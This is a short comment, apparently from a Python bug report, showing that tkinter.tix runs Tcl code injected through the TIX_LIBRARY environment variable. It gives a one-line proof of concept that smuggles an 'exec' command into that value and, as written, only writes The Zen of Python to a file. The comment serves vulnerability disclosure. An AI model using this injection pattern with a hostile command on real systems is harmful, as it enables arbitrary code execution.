TclError in Terry's example is raised because Tcl script has unpaired braces. You should add "{" at the end of TIX_LIBRARY.

Here is working exploit:

$ TIX_LIBRARY="/dev/null}; exec python3 -m this >spoiled; set x {"  python3 -c "from tkinter.tix import Tk; Tk()"

It creates the file "spoiled" in current directory containing The Zen of Python.
